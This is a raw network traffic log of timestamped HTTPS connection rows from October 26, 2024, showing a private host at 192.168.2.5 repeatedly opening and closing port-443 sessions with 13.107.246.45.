Oct 26, 2024 13:46:14.230174065 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.233182907 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.233339071 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.233351946 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.337615013 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.337702990 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.337953091 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.337980986 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.337990999 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.338025093 CEST	49924	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.338032007 CEST	443	49924	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.340939045 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.341029882 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.341129065 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.341270924 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.341301918 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.572072029 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.572942972 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.572963953 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.573450089 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.573460102 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.707514048 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.707881927 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.707953930 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.707972050 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.708007097 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.708446980 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.708470106 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.708483934 CEST	49925	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.708488941 CEST	443	49925	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.711630106 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.711673021 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.711755991 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.711910963 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.711921930 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.794030905 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.798922062 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.798943996 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.799438000 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.799444914 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.927510023 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.927619934 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.927715063 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.927927017 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.927927017 CEST	49926	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.927947044 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.927958965 CEST	443	49926	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.930849075 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.930906057 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.930990934 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.931145906 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.931162119 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.972537994 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.973031998 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.973041058 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:14.973541021 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:14.973546028 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.080506086 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.081212997 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.081243992 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.081760883 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.081780910 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.106360912 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.106442928 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.106501102 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.106525898 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.106559038 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.106612921 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.106772900 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.106789112 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.106798887 CEST	49927	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.106803894 CEST	443	49927	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.109930992 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.109945059 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.110038996 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.110161066 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.110166073 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.211410046 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.211502075 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.211563110 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.211740971 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.211770058 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.211786032 CEST	49928	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.211795092 CEST	443	49928	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.214838982 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.214869022 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.214946032 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.215162039 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.215177059 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.447240114 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.448002100 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.448026896 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.448514938 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.448522091 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.581062078 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.581157923 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.581228018 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.581506014 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.581532955 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.581549883 CEST	49929	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.581557989 CEST	443	49929	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.584953070 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.585031986 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.585130930 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.585288048 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.585319042 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.681723118 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.682318926 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.682349920 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.682815075 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.682831049 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.816450119 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.817800045 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.817853928 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.817862034 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.817922115 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.817970991 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.817997932 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.818011999 CEST	49930	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.818021059 CEST	443	49930	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.825120926 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.825170994 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.825256109 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.825756073 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.825774908 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.861074924 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.861598015 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.861613035 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.862107992 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.862118006 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.995436907 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.995604038 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.995685101 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.995887995 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.995912075 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.995928049 CEST	49931	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.995935917 CEST	443	49931	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.999253988 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.999293089 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:15.999394894 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.999578953 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:15.999588966 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.344569921 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.348690033 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.348716021 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.349354029 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.349360943 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.484574080 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.484618902 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.484672070 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.484687090 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.484724045 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.485040903 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.485064983 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.485078096 CEST	49933	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.485085964 CEST	443	49933	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.497127056 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.497169971 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.497246981 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.556794882 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.568033934 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.568054914 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.569176912 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.569192886 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.569684029 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.569689035 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.694355011 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.694458008 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.694511890 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.697432041 CEST	49934	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.697451115 CEST	443	49934	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.719491005 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.719594002 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.719707966 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.719825983 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.719846010 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.755929947 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.756788969 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.756819963 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.757327080 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.757332087 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.888413906 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.888596058 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.888652086 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.888685942 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.888731003 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.899065018 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.899090052 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.899104118 CEST	49935	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.899111986 CEST	443	49935	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.906801939 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.906841993 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:16.907059908 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.907232046 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:16.907243013 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.300632000 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.301448107 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.301460028 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.302534103 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.302540064 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.437407970 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.437478065 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.437643051 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.437881947 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.437897921 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.437908888 CEST	49936	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.437915087 CEST	443	49936	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.441306114 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.441416979 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.441555977 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.441757917 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.441801071 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.457678080 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.458547115 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.458584070 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.459091902 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.459099054 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.588684082 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.588776112 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.588839054 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.589107990 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.589131117 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.589145899 CEST	49937	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.589152098 CEST	443	49937	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.593041897 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.593095064 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.593185902 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.593373060 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.593384027 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.661880970 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.662642002 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.662671089 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.663265944 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.663271904 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.793050051 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.793203115 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.793355942 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.793484926 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.793502092 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.793514967 CEST	49938	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.793521881 CEST	443	49938	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.796850920 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.796892881 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:17.796983004 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.797131062 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:17.797144890 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.193772078 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.194307089 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.194382906 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.194801092 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.194816113 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.328305960 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.328353882 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.328425884 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.328458071 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.328478098 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.328548908 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.328793049 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.328793049 CEST	49939	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.328810930 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.328819990 CEST	443	49939	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.332252026 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.332290888 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.332395077 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.332927942 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.332947016 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.343725920 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.344377995 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.344393969 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.344963074 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.344966888 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.476457119 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.476558924 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.476625919 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.476852894 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.476865053 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.476878881 CEST	49940	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.476883888 CEST	443	49940	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.481760025 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.481810093 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.481910944 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.482047081 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.482062101 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.546999931 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.547872066 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.547918081 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.548568010 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.548574924 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.684865952 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.684901953 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.684962988 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.684988976 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.685028076 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.685375929 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.685405016 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.685420036 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.685426950 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.689297915 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.689352989 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:18.689470053 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.689683914 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:18.689706087 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.145920992 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.146609068 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.146625996 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.147236109 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.147245884 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.148335934 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.148854017 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.148874044 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.149396896 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.149401903 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.152563095 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.152894020 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.152901888 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.153343916 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.153348923 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.277292013 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.277460098 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.277561903 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.277740002 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.277757883 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.277769089 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.277775049 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.281255007 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.281295061 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.281387091 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.281580925 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:20.281593084 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.285243034 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.285274029 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.285322905 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:20.285331011 CEST	49943	443	192.168.2.5	13.107.246.45
